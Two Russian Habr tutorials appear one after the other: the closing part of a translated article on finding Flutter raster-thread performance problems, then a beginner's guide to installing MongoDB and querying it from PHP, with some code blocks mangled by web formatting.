Это методы C++ из движка Flutter Engine. Если вам захочется, то можете [выполнить поиск](https://www.google.com/search?q=PhysicalShapeLayer%3A%3APaint) по этим именам методов и прочитать код и комментарии, чтобы понять, что происходит под капотом. Иногда это позволяет получить немного больше представлений о том, что делает растровый поток. Но этот тип исследования не является строго обязательным для поиска проблем производительности. (Я не занимался этим до относительно недавнего времени, и, тем не менее, мне удалось оптимизировать производительность довольно многих приложений).
Далее, есть длинное событие под названием `SkCanvas::Flush`. Оно занимает 18 миллисекунд, что превышает разумные пределы. К сожалению, это событие также не содержит никакой подробной информации, поэтому нам придется немного поработать в роли детектива.
Sk в SkCanvas означает [Skia](https://skia.org/), графический движок, который Flutter использует для рендеринга в самом низу своего стека. [SkCanvas](https://api.skia.org/classSkCanvas.html) — это низкоуровневый класс C++, аналогичный собственному [Canvas](https://api.flutter.dev/flutter/dart-ui/Canvas-class.html) во Flutter (с которым вы можете быть знакомы, если работаете с [CustomPaint](https://api.flutter.dev/flutter/widgets/CustomPaint-class.html)). Все пиксели, линии, градиенты — весь пользовательский интерфейс вашего приложения — проходит через SkCanvas. И `SkCanvas::Flush` — это то место, где данный класс делает большую часть своей работы после того, как соберет всю необходимую информацию. В документации [сказано](https://api.skia.org/classSkCanvas.html#a3f8ea661c6021dc4dde325aab87870bf), что метод Flush "выполняет все незавершенные операции с GPU (Graphics Processing Unit. Графический процессор)".
Давайте проанализируем, что мы узнали из графика производительности:
* Растровый поток является основной проблемой. Поток пользовательского интерфейса работает относительно нормально.
* При прокрутке растровый поток затрачивает много времени для \_каждого фрейма\_. Постоянно выполняется какая-то затратная работа по растеризации.
* `SkCanvas::Flush` занимает много времени, что означает, что Skia делает большое количество дополнительной работы.
Мы *не* знаем, в чем заключается эта работа. Давайте изучим код.
### Шаг 3: Прочитать код
Вооружившись знаниями, давайте посмотрим на исходный код. Если код незнаком (как это было для меня в случае с FlutterFolio), стоит переключиться из режима профиля в режим отладки и использовать [Flutter Inspector](https://flutter.dev/docs/development/tools/devtools/inspector) для перехода к исходному коду соответствующих виджетов.
Главная страница FlutterFolio, по крайней мере на мобильных устройствах, выглядит как [вертикальный PageView, заполненный виджетами BookCoverWidgets](https://github.com/gskinnerTeam/flutter-folio/blob/2bb2101c14ee3f30e11f966e9ce6c50dee600c0b/lib/views/home_page/covers_flow_list_mobile.dart#L36-L40). Если посмотреть на `BookCoverWidget`, то можно увидеть, что он представляет собой [стек различных виджетов](https://github.com/gskinnerTeam/flutter-folio/blob/2bb2101c14ee3f30e11f966e9ce6c50dee600c0b/lib/views/home_page/book_cover/book_cover.dart#L77-L122), начиная с большого изображения внизу, продолжая некоторыми анимированными накладками, основным текстовым содержимым и заканчивая накладкой при наведении мыши вверху.
```
child: Stack(fit: StackFit.expand, children: [
/// /////////////////////////////
/// Background Image
// Animated scale for when we mouse-over
AnimatedScale(
duration: Times.slow,
begin: 1,
end: isClickable ? 1.1 : 1,
child: BookCoverImage(widget.data),
),
/// Black overlay, fades out on mouseOver
AnimatedContainer(duration: Times.slow,
color: Colors.black.withOpacity(overlayOpacity)),
/// When in large mode, show some gradients,
/// should sit under the Text elements
if (widget.largeMode) ...[
FadeInLeft(
duration: Times.slower,
child: _SideGradient(Colors.black),
),
FadeInUp(child: _BottomGradientLg(Colors.black))
] else ...[
FadeInUp(child: _BottomGradientSm(Colors.black)),
],
/// Sit under the text content, and unfocus when tapped.
GestureDetector(behavior: HitTestBehavior.translucent,
onTap: InputUtils.unFocus),
/// BookContent, shows either the Large cover or Small
Align(
alignment: widget.topTitle ? Alignment.topLeft : Alignment.bottomLeft,
// Tween the padding depending on which mode we're in
child: AnimatedContainer(
duration: Times.slow,
padding: EdgeInsets.all(widget.largeMode ? Insets.offset : Insets.sm),
child: (widget.largeMode)
? LargeBookCover(widget.data)
: SmallBookCover(widget.data, topTitle: widget.topTitle),
),
),
/// Mouse-over effect
if (isClickable) ...[
Positioned.fill(child: FadeIn(child: RoundedBorder(color: theme.accent1, ignorePointer: false))),
],
]),
```
Помните: вы ищете что-то, происходящее в каждом фрейме (то есть, присутствующее всегда), и что потенциально затратно для рендерера Skia чтобы нарисовать (изображения, размытия, смешивания и так далее).
### Шаг 4: Углубиться в детали
Теперь необходимо углубиться в поиск виджетов, которые могут быть проблемными. Один из способов сделать это — временно удалить различные виджеты из приложения и посмотреть, как это повлияет на производительность.
Помните, что первым дочерним элементом Stack является фон, а каждый последующий является слоем поверх предыдущих виджетов. Итак, первый дочерний элемент — это фоновое изображение, представленное `BookCoverImage`. Вы можете удалить его, но главная страница будет выглядеть следующим образом:
Это лишает смысла всю страницу. Если присмотреться к `BookCoverImage`, можно увидеть, что это простая обертка вокруг Image. За одним примечательным исключением (о котором будет сказано позже в этой статье), здесь мало того, что можно улучшить.
Идем дальше, вот этот код:
```
/// Black overlay, fades out on mouseOver
AnimatedContainer(duration: Times.slow,
color: Colors.black.withOpacity(overlayOpacity)),
```
Это виджет, который покрывает все изображение слоем прозрачного черного цвета. По умолчанию (и большую часть времени) `overlayOpacity` равен 0, поэтому этот слой полностью прозрачен. Хорошо. Давайте удалим его и снова запустим приложение в режиме профиля.
Интересно! Растровый поток по-прежнему потребляет довольно много ресурсов, но наблюдается значительное улучшение производительности.
Я решил внедрить более надежный инструмент профилирования производительности для FlutterFolio, чтобы доказать, что улучшение реально, а не просто случайность. Это изменение дает мне впечатляющее снижение времени растеризации на 20% от общего процессорного времени и на 50% меньше потенциальных ошибок.
В целом, это серьезное изменение, которое служит основанием для удаления одного виджета, который большую часть времени ничего не делает.
[Исправление](https://github.com/gskinnerTeam/flutter-folio/pull/62) простое:
```
/// Black overlay, fades out on mouseOver
if (overlayOpacity > 0)
AnimatedContainer(duration: Times.slow,
color: Colors.black.withOpacity(overlayOpacity)),
```
Теперь вы добавляете прозрачный слой только тогда, когда он имеет ненулевую полупрозрачность (то есть он хотя бы частично виден). Вы избегаете (очень распространенного!) сценария, при котором полностью прозрачный слой создается и растеризуется, но при этом не оказывает никакого эффекта.
И, как результат, работа приложения становится более стабильной и экономичной.
**Примечание**: Зачем это нужно? Разве Flutter не должен быть достаточно умным, чтобы сделать эту оптимизацию за нас? Прочитайте [здесь](https://github.com/flutter/flutter/pull/72526#issuecomment-749185938), чтобы узнать, почему он не может этого сделать. И почему прозрачная непрозрачность изначально медленная? Это выходит за рамки данной статьи, но это связано с виджетом `BackdropFilter`, расположенным дальше по `Stack`, который взаимодействует со всеми виджетами, расположенными ниже него.
Суть этой статьи не в том, чтобы преподать вам урок об этом конкретном "подводном камне" для производительности. Возможно, вы больше никогда его не увидите. Моя цель - научить вас, как оптимизировать производительность растрового потока в целом.
### Шаг 5: Обобщение
Прежде чем переходить к рассмотрению новой проблемы, часто бывает полезно поискать похожие недостатки где-то еще в проекте. Есть ли в нашем приложении еще места с наложениями большой площади? Можно ли их избежать?
В рассматриваемом случае следующие несколько строк создают обширные градиенты, которые становятся все отчетливее и ярче по мере прокрутки:
```
/// When in large mode, show some gradients,
/// should sit under the Text elements
if (widget.largeMode) ...[
FadeInLeft(
duration: Times.slower,
child: _SideGradient(Colors.black),
),
FadeInUp(child: _BottomGradientLg(Colors.black))
] else ...[
FadeInUp(child: _BottomGradientSm(Colors.black)),
],
```
И, конечно, удаление этих анимированных, почти полноэкранных градиентов значительно улучшает производительность прокрутки. К сожалению, в данном случае решение будет не такое простое, как в предыдущем примере. Эти градиенты не являются невидимыми. Они начинают постепенно нарастать, как только пользователь достигает этой области. Их удаление *действительно* заметно изменит внешний вид.
Одна из идей — немного отсрочить постепенное увеличение интенсивности, чтобы анимация начиналась только тогда, когда пользователь непосредственно дойдет до конкретной (обложки) `BookCover`. Таким образом, можно снизить нагрузку на растровый поток, пока пользователь прокручивает обложку, и, надеюсь, избежать потенциальных сбоев.
Но это изменение моушн-дизайна приложения, и поэтому его нужно обсудить с более крупной командой. Многие оптимизации производительности попадают в эту категорию. Оптимизация производительности часто является вынужденным компромиссом.
### Повторяйте шаги 2-5, пока не останетесь довольны
До сих пор мы рассмотрели только один тип проблем. На практике их всегда больше.
Вот одна из идей, что делать дальше: не великоваты ли ресурсы, отведенные под изображения в приложении? Помните, что растровый поток отвечает за прием байтов изображения, их декодирование, изменение размера, применение фильтров и так далее. Если он загружает и изменяет размер изображения высокой четкости размером 20 МБ в крошечное изображение аватара на экране, значит, вы расходуете ресурсы нерационально.
Когда ваше приложение работает в режиме отладки, с помощью Flutter Inspector можно [инвертировать слишком большие изображения](https://api.flutter.dev/flutter/painting/debugInvertOversizedImages.html).
Это позволит инвертировать цвета и перевернуть все изображения в вашем приложении, которые слишком велики для их фактического использования. После этого вы сможете более тщательно изучить приложение и проследить за неестественными изменениями.
Режим отладки также сообщает об ошибке каждый раз, когда сталкивается с таким изображением, например:
> *[ERROR] Изображение assets/images/empty-background.png имеет размер отображения 411×706, но размер декодирования 2560×1600, что использует дополнительные 19818 КБ.*
>
>
Однако решение здесь не совсем простое. Для мобильных устройств не требуется изображение размером 2560×1600, однако для настольных компьютеров оно может понадобиться. Не забывайте, что FlutterFolio — это приложение, которое работает на всех платформах Flutter, включая настольные компьютеры. Если вы сомневаетесь, [читайте документацию по API](https://api.flutter.dev/flutter/painting/debugInvertOversizedImages.html).
### Заключение
Как видите, оптимизация производительности — это искусство и наука. В этом помогает тщательный бенчмаркинг, а также глубокое понимание фреймворка и его встроенных виджетов.
В конце концов, постоянная практика приводит к совершенству. Оптимизируйте достаточное количество приложений, и с каждым разом у вас будет это получаться все лучше. Удачного хантинга!
---
> Материал подготовлен в рамках курса [**«Flutter Mobile Developer».**](https://otus.pw/1NiF/)
>
> Всех желающих приглашаем на открытый урок **«Explicit анимации и 3D-графика в Flutter»**. На открытом уроке рассмотрим технические детали анимации во Flutter, научимся создавать сложные составные параллельные и последовательные анимации, посмотрим основы использования двухмерных игровых движков (Flare, SpriteWidget) и создания трехмерной графики (Cube, адаптер для Unity, библиотека собственной разработки для использования WebGL в Flutter for Web-приложениях).
> [**>> РЕГИСТРАЦИЯ**](https://otus.pw/Xfno/)
>
> | https://habr.com/ru/post/581742/ | null | ru | null |
# Getting Started with MongoDB and PHP
**Generation Next**
За последний год произошла небольшая революция в мире СУБД, связанная с появлением безсхемных (безструктурных) СУБД таких как [Apache CouchDB](http://couchdb.apache.org/). В этих базах данных используется другой подход нежели в реляционных БД. Они достаточно быстро становятся популярны среди Web-разрабочиков из-за своей гибкости, простоты и легкой интеграции с современными технологиями такими как JSON.
В данной статье изложен краткий обзор MongoDB, одной из новых поколений безсхемных СУБД, которая получила большое внимание разработчиков.
**Start Me Up**
На [официальном сайте](http://www.mongodb.org/) MongoDB написано, что это расширяемая, высокопроизводительная, документоориентированная БД с открытым исходным кодом. Существует под большое количество платформ и распространяется под лицензией GNU AGPL.
Хотя MongoDB и похожа на CouchDB, между ними существуют серьезные различия:
* Разработчики MongoDB должны использовать встроенные в язык драйверы (native language drivers) для доступа к БД, в то время как для CouchDB используется REST
* MongoDB поддерживает большее количество типов данных
* Масштабируемость MongoDB строится на основе технологии sharding (*русского аналога нет, оставил на английском*), в то время как для CouchDB — это репликация.
* Запросы MongoDB используют объекты [BSON](http://en.wikipedia.org/wiki/BSON), в то время как запросы CouchDB генерируются с помощью JavaScript.
Документация MongoDB детально описывается все эти (и немного больше) различия, также имеются тесты сравнивающие [MongoDB, CouchDB и MySQL](http://www.mongodb.org/display/DOCS/MongoDB%2C+CouchDB%2C+MySQL+Compare+Grid) (*еще один повод для holy war*).
Беглый обзор закончен, время для скачивания и установки MongoDB. В большинстве случаев стандартного бинарного пакеат хватает; он содержит MongoDB и клиент, работающий из командной строки, набор утилит для бэкапа, восстановления, а также сохранения и получения бинарных фалов. Для начала скачаем подходящую версию для вашей системы:
shell> cd /usr/local
shell> tar -xzvf mongodb-linux-i686-1.4.2.tgz
shell> ln -s mongodb-linux-i686-1.4.2 mongo
Если у вас Ubuntu, вы можете установить MongoDB используя aptitude. Для этого добавьте в /etc/apt/sources.list следующую строку:
deb [downloads.mongodb.org/distros/ubuntu](http://downloads.mongodb.org/distros/ubuntu) 10.4 10gen
Затем установите этот пакет используя aptitude:
shell> aptitude update
shell> aptitude install mongodb-stable
Когда пакет установлен запустите MongoDB сервер
shell> mkdir /usr/local/mongo/data
shell> /usr/local/mongo/bin/mongod --dbpath=/usr/local/mongo/data
Заметьте, что по умолчанию, сервер MongoDB server считает что данные сохраняются в /data/db, и заканчивает выполнение, если не находит этого пути. Параметр --dbpath позволяет указать другой путь.
Вы можете использовать командную строку для доступа к серверу, как это показано ниже:
shell>/usr/local/mongo/mongo
Вот как это выглядит:
Можно отдавать команды серверу, также как и в MySQL-клиенте. Ниже пример, который показывает версию сервера и доступные БД:
> `>show dbs
>
> admin
>
> local
>
> >db.version()
>
> 1.4.2
>
> >db.stats()
>
> {
>
> "collections" : 0,
>
> "objects" : 0,
>
> "dataSize" : 0,
>
> "storageSize" : 0,
>
> "numExtents" : 0,
>
> "indexes" : 0,
>
> "indexSize" : 0,
>
> "ok" : 1
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Collecting Ideas**
Во вселенной MongoDB, эквивалентом таблицы является «коллекция». Подобно тому, как таблицы имеют множество записей, в коллекциях — множество «документов». Эти документы представлены как JSON объекты, с полями и значениями представляющими пары ключ-значение, и сохраненные (сериализованы) в BSON (Binary JSON) для хранения. Ниже пример одного такого документа:
{
«orderDate»: «10-05-2010»,
«orderTotal»: 468.99,
}
Так как основной элекмент MongoDB это документ в формате JSON, а JSON поддерживает иерархические данные, вы можете включать один документ в другой. Далее, так как документы сериализуются в формат BSON для хранения, MongoDB может легко искать вложенные документы. Ниже пример:
{
«orderDate»: «10-05-2010»,
«orderTotal»: 468.99,
«shipTo»:
{
«street»: «17 Hill View»,
«zip»: «12345»,
«country»: «US»
}
}
Для создания новой MongoDB коллекции, запустите клиент в командной строке и выполните следующие команды, которые создадут коллекцию под названием items" и добавят несколько документов:
> `1. > db.items.insert({ name: 'eggs', quantity: 10, price: 1.50 })
> 2. > db.items.insert({ name: 'bacon', quantity: 3, price: 3.50 })
> 3. > db.items.insert({ name: 'tomatoes', quantity: 30, price: 0.50 })
> \* This source code was highlighted with Source Code Highlighter.`
Продолжаем дальше, добавьте еще документов как показано выше. Для отображения полного спика документов в коллекции вызовите метод find() без аргументов:
> `1. > db.items.find({})
> 2. { "\_id" : ObjectId("4bea15293302000000006dcf"), "name" : "eggs", "quantity" : 10, "price" : 1.5 }
> 3. { "\_id" : ObjectId("4bea15463302000000006dd0"), "name" : "bacon", "quantity" : 3, "price" : 3.5 }
> 4. { "\_id" : ObjectId("4bea15523302000000006dd1"), "name" : "tomatoes", "quantity" : 30, "price" : 0.5
> 5. }
> \* This source code was highlighted with Source Code Highlighter.`
Заметьте, специальный ключ '\_id' есть у каждого документа. Когда вы записываете новый документ в коллекцию, MongoDB автоматически добавляет уникальный идентификатор к каждому документу. Этот идентификатор может быть использован для получения или модификации документа, это некое подобие автоинкрементного ключа в реляционных базах данных.
Для отображения списка документов по какому-либо критерию, добавьте этот критерий (в виде объекта JSON) в метод find(). Ниже пример, показывающий записи с количеством большим 9 и ценой меньше 1:
> `1. > db.items.find({quantity: {$gt: 9}, price: {$lt: 1}})
> 2. { "\_id" : ObjectId("4bea15523302000000006dd1"), "name" : "tomatoes", "quantity" : 30, "price" : 0.5
> 3. }
> 4.
> \* This source code was highlighted with Source Code Highlighter.`
Теперь давайте попробуем написать что-нибудь на php!
**Hooking Things Up**
Поддержка MongoDB в PHP реализована посредством расширения, которое обеспечивает API для доступа к коллекциям MongoDB. Это расширение разрабатывается Kristina Chodorow и бесплатно доступно в [PECL](http://pecl.php.net/mongo) под лицензией Apache License. Расширение стабильно и позволяет выполнять большинство задач, относящихся к доступу и использованию БД MongoDB database из приложений, написанных на языке PHP.
ДЛя того чтобы использовать это расширение установите его используя стандартную команду pecl
shell> pecl install mongo
Или вы можете скачать исходный код, скомпилировать его в загружаемый модуль PHP:
shell> tar -xzvf mongo-1.0.7.tar.gz
shell> cd mongo-1.0.7
shell> phpize
shell> ./configure
shell> make
shell> make install
Теперь у вас есть загружаемый PHP модуль под названием mongo.so, который находится в стандартном каталоге для модулей PHP. Подключите данное расширение в php.ini, перепустите Web-сервер и проверьте активность этого расширения командой phpinfo():
Теперь давайте посмотрим, что мы можем сделать, используя это расширение
> `1. php</li- try {
> - // open connection to MongoDB server
> - $conn = new Mongo('localhost');
> -
> - // access database
> - $db = $conn->test;
> -
> - // access collection
> - $collection = $db->items;
> -
> - // execute query
> - // retrieve all documents
> - $cursor = $collection->find();
> -
> - // iterate through the result set
> - // print each document
> - echo $cursor->count() . ' document(s) found.
> ';
> - foreach ($cursor as $obj) {
> - echo 'Name: ' . $obj['name'] . '
> ';
> - echo 'Quantity: ' . $obj['quantity'] . '
> ';
> - echo 'Price: ' . $obj['price'] . '
> ';
> - echo '
> ';
> - }
> -
> - // disconnect from server
> - $conn->close();
> - } catch (MongoConnectionException $e) {
> - die('Error connecting to MongoDB server');
> - } catch (MongoException $e) {
> - die('Error: ' . $e->getMessage());
> - }
> - ?>
> \* This source code was highlighted with Source Code Highlighter.`
В начале этого скрипта инициализируется новый объект Mongo, в конструктор которого передается информация, необходимая для установки соединения с сервером MongoDB (в примере имя хоста). Даный объект используется для всех последующих взаимодействий с сервером MongoDB.
Следующим шагом является получение доступа к базе данных. Это может быть сделано используя метод selectDB() или что более проще, посредством магического метода call, обратиться к базе как к свойству объекта. Как только получен доступ к базе данных не составит особого труда получить доступ к коллекции, испольуя метод selectCollection() или посредством магического метода call, обратившись к коллекции как к свойству. Коллекции предствавлены в виде объектов MongoCollection.
У каждого объекта MongoCollection есть метод find(), который может быть использован для выполнения запросов. Метод принимает в качестве аргументов два массива: массив параметров запросаи массив полей, которые долны быть получены в результате ответа на запрос. Возвращаемым значением является курсор, представленный объектом типа MongoCursor object. Тип MongoCursor реализует (implement) шаблон Iterator, поэтому достаточно легко пробежать по всему возвращаемому набору используя foreach(). Тип MongoCursor содержит метод count(), возвращающий количество записей.
PHP расширение Mongo поддерживает модель исключений, реализованную в PHP 5.x, и определяет 5 типов исключений: MongoConnectionException для ошибок, связанных с соединением, MongoCursorException и MongoCursorTimeoutException для ошибок связанных с запросом; MongoGridFSException для ошибок связанных с файловым взаимодействием; и MongoException для всех остальных ошибок. В предыдущем примере было бы неплохой идеей заключить код в try/catch блок.
Ниже пример вывода предыдущего примера:
**Addition And Subtraction**
Добавление нового документа в коллекцию достаточно просто. Посмотрите следующий пример:
> `php<br/
> try {
>
> // open connection to MongoDB server
>
> $conn = new Mongo('localhost');
>
>
>
> // access database
>
> $db = $conn->test;
>
>
>
> // access collection
>
> $collection = $db->items;
>
>
>
> // insert a new document
>
> $item = array(
>
> 'name' => 'milk',
>
> 'quantity' => 10,
>
> 'price' => 2.50,
>
> 'note' => 'skimmed and extra tasty'
>
> );
>
> $collection->insert($item);
>
> echo 'Inserted document with ID: ' . $item['\_id'];
>
>
>
> // disconnect from server
>
> $conn->close();
>
> } catch (MongoConnectionException $e) {
>
> die('Error connecting to MongoDB server');
>
> } catch (MongoException $e) {
>
> die('Error: ' . $e->getMessage());
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Для добавление нового документа в коллекцию, создайте новый массив содержащий пару ключ-значение, которые вы хотите вставить (механизм поддерживает также вложенные массивы, которые конвертируются во встроенные документы) и передайте этот массив в метод insert объекта типа MongoCollection. Этот метод добавит документ в коллекцию и рассчитает значение '\_id' (уникальный идентификатор документа), которое добавится в исходный массив. Этот идентификатор представляется специальным типом MongoId, который есть шестнадцатиричное представление идентификатора. Поэтому можно легко получить идентификатор документа, не делая дополнительный запрос.
Ниже пример:
Удаление документа из коллекции осуществляется методом remove(), который принимает в качестве параметров массив критериев, и удаляет все документы соответствующие этим критериям. Обычно remove() возвращает значение типа Boolean (true или false); однако, если передать специальный 'safe' аргумент в качестве второго аргумента позволит получить масиив с большим количеством информации, включающей в себя количество удаленных документов. Ниже пример:
> `php<br/
> try {
>
> // open connection to MongoDB server
>
> $conn = new Mongo('localhost');
>
>
>
> // access database
>
> $db = $conn->test;
>
>
>
> // access collection
>
> $collection = $db->items;
>
>
>
> // remove a document
>
> $criteria = array(
>
> 'name' => 'milk',
>
> );
>
> $r = $collection->remove($criteria, array('safe' => true));
>
> echo 'Removed ' . $r['n'] . ' document(s).';
>
>
>
> // disconnect from server
>
> $conn->close();
>
> } catch (MongoConnectionException $e) {
>
> die('Error connecting to MongoDB server');
>
> } catch (MongoException $e) {
>
> die('Error: ' . $e->getMessage());
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Также возможно удалить документ, используя его идентификатор. Однако в метод remove() передается объект метода MongoId, а не строка PHP. Ниже пример:
> `php<br/
> try {
>
> // open connection to MongoDB server
>
> $conn = new Mongo('localhost');
>
>
>
> // access database
>
> $db = $conn->test;
>
>
>
> // access collection
>
> $collection = $db->items;
>
>
>
> // remove a document by ID
>
> $criteria = array(
>
> '\_id' => new MongoId('4bea96b400f4784c0a070000'),
>
> );
>
> $collection->remove($criteria);
>
> echo 'Removed document with ID: ' . $criteria['\_id'];
>
>
>
> // disconnect from server
>
> $conn->close();
>
> } catch (MongoConnectionException $e) {
>
> die('Error connecting to MongoDB server');
>
> } catch (MongoException $e) {
>
> die('Error: ' . $e->getMessage());
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Обновление документа происходит посредством метода save(), как показано ниже:
> `php<br/
> try {
>
> // open connection to MongoDB server
>
> $conn = new Mongo('localhost');
>
>
>
> // access database
>
> $db = $conn->test;
>
>
>
> // access collection
>
> $collection = $db->items;
>
>
>
> // retrieve existing document
>
> $criteria = array(
>
> 'name' => 'eggs',
>
> );
>
> $doc = $collection->findOne($criteria);
>
>
>
> // update document with new values
>
> // save back to collection
>
> $doc['name'] = 'apples';
>
> $doc['quantity'] = 35;
>
> $doc['note'] = 'green apples taste sooooo good!';
>
> $collection->save($doc);
>
>
>
> // disconnect from server
>
> $conn->close();
>
> } catch (MongoConnectionException $e) {
>
> die('Error connecting to MongoDB server');
>
> } catch (MongoException $e) {
>
> die('Error: ' . $e->getMessage());
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Заметьте, что если findOne() ничего не возвратил, вызов save() добавит новый документ.
**Asking Questions**
Когда заходит речь о выполнении запросов, MongoDB предлагает достаточно гибкий инструментарий. Вы уже видели метод find(), который возвращает набор документов, соответствующий критериям поиска. Также есть метод findOne(), который возвращает один документ. Можно использовать множество критериев для поиска — просто передайте в качестве критериев поиска массив в find() или findOne(), а MongoDB применит все эти критерии с модификатором AND.
Ниже пример:
> `php<br/
> try {
>
> // open connection to MongoDB server
>
> $conn = new Mongo('localhost');
>
>
>
> // access database
>
> $db = $conn->test;
>
>
>
> // access collection
>
> $collection = $db->items;
>
>
>
> // formulate AND query
>
> $criteria = array(
>
> 'quantity' => 30,
>
> 'price' => 0.5
>
> );
>
>
>
> // retrieve only 'name' and 'price' keys
>
> $fields = array('name', 'price');
>
>
>
> // execute query
>
> $cursor = $collection->find($criteria, $fields);
>
>
>
> // iterate through the result set
>
> // print each document
>
> echo $cursor->count() . ' document(s) found.
> ';
>
> foreach ($cursor as $obj) {
>
> echo 'Name: ' . $obj['name'] . '
> ';
>
> echo 'Price: ' . $obj['price'] . '
> ';
>
> echo '
> ';
>
> }
>
>
>
> // disconnect from server
>
> $conn->close();
>
> } catch (MongoConnectionException $e) {
>
> die('Error connecting to MongoDB server');
>
> } catch (MongoException $e) {
>
> die('Error: ' . $e->getMessage());
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
MongoDB также поддерживает большое количество [условных и логических операторов](http://www.mongodb.org/display/DOCS/Advanced+Queries) для создания сложных запросов. Плюс к этому поддержка регулярных выражений. Ниже пример, который выводит все записи с количеством между 10 и 50 и чьи имена заканчиваются на 'es':
> `php<br/
> try {
>
> // open connection to MongoDB server
>
> $conn = new Mongo('localhost');
>
>
>
> // access database
>
> $db = $conn->test;
>
>
>
> // access collection
>
> $collection = $db->items;
>
>
>
> // formulate complex query
>
> $criteria = array(
>
> 'quantity' => array(
>
> '$gt' => 10,
>
> '$lt' => 50
>
> ),
>
> 'name' => new MongoRegex('/es$/i')
>
> );
>
>
>
> // execute query
>
> $cursor = $collection->find($criteria);
>
>
>
> // iterate through the result set
>
> // print each document
>
> echo $cursor->count() . ' document(s) found.
> ';
>
> foreach ($cursor as $obj) {
>
> echo 'Name: ' . $obj['name'] . '
> ';
>
> echo 'Quantity: ' . $obj['quantity'] . '
> ';
>
> echo 'Price: ' . $obj['price'] . '
> ';
>
> echo '
> ';
>
> }
>
>
>
> // disconnect from server
>
> $conn->close();
>
> } catch (MongoConnectionException $e) {
>
> die('Error connecting to MongoDB server');
>
> } catch (MongoException $e) {
>
> die('Error: ' . $e->getMessage());
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Как это будет выглядеть:
Вы можете также изменить количество возвращаемых документов или отсортировать их по необходимому ключу, используя limit() и sort() методы. Ниже пример:
> `php<br/
> try {
>
> // open connection to MongoDB server
>
> $conn = new Mongo('localhost');
>
>
>
> // access database
>
> $db = $conn->test;
>
>
>
> // access collection
>
> $collection = $db->items;
>
>
>
> // execute query
>
> // sort by price
>
> // limit to 3 documents
>
> $cursor = $collection->find();
>
> $cursor->sort(array('price' => 1))->limit(3);
>
>
>
> // iterate through the result set
>
> // print each document
>
> echo $cursor->count() . ' document(s) found.
> ';
>
> foreach ($cursor as $obj) {
>
> echo 'Name: ' . $obj['name'] . '
> ';
>
> echo 'Quantity: ' . $obj['quantity'] . '
> ';
>
> echo 'Price: ' . $obj['price'] . '
> ';
>
> echo '
> ';
>
> }
>
>
>
> // disconnect from server
>
> $conn->close();
>
> } catch (MongoConnectionException $e) {
>
> die('Error connecting to MongoDB server');
>
> } catch (MongoException $e) {
>
> die('Error: ' . $e->getMessage());
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Между прочим, если вы ходите узнать, как внутри MongoDB выполняет запрос, вы можете использовать метод explain() объекта MongoCursor для «look inside» системы обработки запросов, очень похоже на команду EXPLAIN у MySQL. Ниже пример и результат вывода:
> `php<br/
> try {
>
> // open connection to MongoDB server
>
> $conn = new Mongo('localhost');
>
>
>
> // access database
>
> $db = $conn->test;
>
>
>
> // access collection
>
> $collection = $db->items;
>
>
>
> // execute and explain query
>
> $criteria = array(
>
> 'quantity' => array(
>
> '$gt' => 10,
>
> '$lt' => 50
>
> ),
>
> 'name' => new MongoRegex('/es$/i')
>
> );
>
> $cursor = $collection->find($criteria);
>
> $cursor->sort(array('price' => 1))->limit(3);
>
> print\_r($cursor->explain());
>
>
>
> // disconnect from server
>
> $conn->close();
>
> } catch (MongoConnectionException $e) {
>
> die('Error connecting to MongoDB server');
>
> } catch (MongoException $e) {
>
> die('Error: ' . $e->getMessage());
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Rank And File**
В дополнение к документам MongoDB также поддерживает бинарные данные. Бинарные данные до 4 MB могут быть сохранены в обычном документе, а данные (файлы), котороые больше этого размера, могут быть сохранены, использую маленькую штучку под названием [GridFS](http://www.mongodb.org/display/DOCS/GridFS+Specification).
GridFS это спецификация, описывающая дробление и сохранение больших файлов в MongoDB. Обычно, GridFS использует две коллекции: коллекция 'files', которая созраняет метаданные о каждом файле, и коллекция 'chunks', которая сохраняет данные, разделенные на кусочки (chunks). Каждый файл в коллекции 'files' collection имеет уникальный идентификатор, подобный идентификаторам других документов, хранимых в MongoDB; этот идентификатор можкт быть использован для получения или изменения файла.
Расширение MongoDB PECL обеспечивает набор классов MongoGridFS, которые могут быть использованы для взаимодействия с файлами, сохраненными с использованием GridFS. Каждый файл представлен экземпляром класса MongoGridFSFile, а каждый объект MongoGridFS предоставляет методы для добавления, удаления и поиска этих файлов.
Для лучшего понимания, рассмотрим следующий пример, который иллюстрирует процесс добавления изображения в MongoDB:
> `php<br/
> try {
>
> // open connection to MongoDB server
>
> $conn = new Mongo('localhost');
>
>
>
> // access database
>
> $db = $conn->test;
>
>
>
> // get GridFS files collection
>
> $gridfs = $db->getGridFS();
>
>
>
> // store file in collection
>
> $id = $gridfs->storeFile('/tmp/img\_2312.jpg');
>
> echo 'Saved file with ID: ' . $id;
>
>
>
> // disconnect from server
>
> $conn->close();
>
> } catch (MongoConnectionException $e) {
>
> die('Error connecting to MongoDB server');
>
> } catch (MongoException $e) {
>
> die('Error: ' . $e->getMessage());
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В начале примера получается эксземпляр класса MongoGridFS, используя метод getGridFS() класса MongoDB, а затем методом storeFile() файл сохраняется в MongoDB. Если вы запустите этот пример, а затем посмотрите на содержимое вашей БД, вы увидите две новые коллекции 'fs.files' и 'fs.chunks'. Если вы взгляненте немного глубже в коллекцию 'fs.files', то вы увидите файл, корторый вы добавили.
> `> show collections
>
> fs.chunks
>
> fs.files
>
> items
>
> system.indexes
>
> > db.fs.files.find()
>
> { "\_id" : ObjectId("4beaa34f00f4784c0a300000"), "filename" : "/tmp/img\_2312.jpg", "uploadDate" : "Wed May 12 2010 18:17:11 GMT+0530 (India Standard Time)", "length" : 11618, "chunkSize" : 262144, "md5" : "e66b9a33c7081ae2e4fff4c37f1f756b" }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
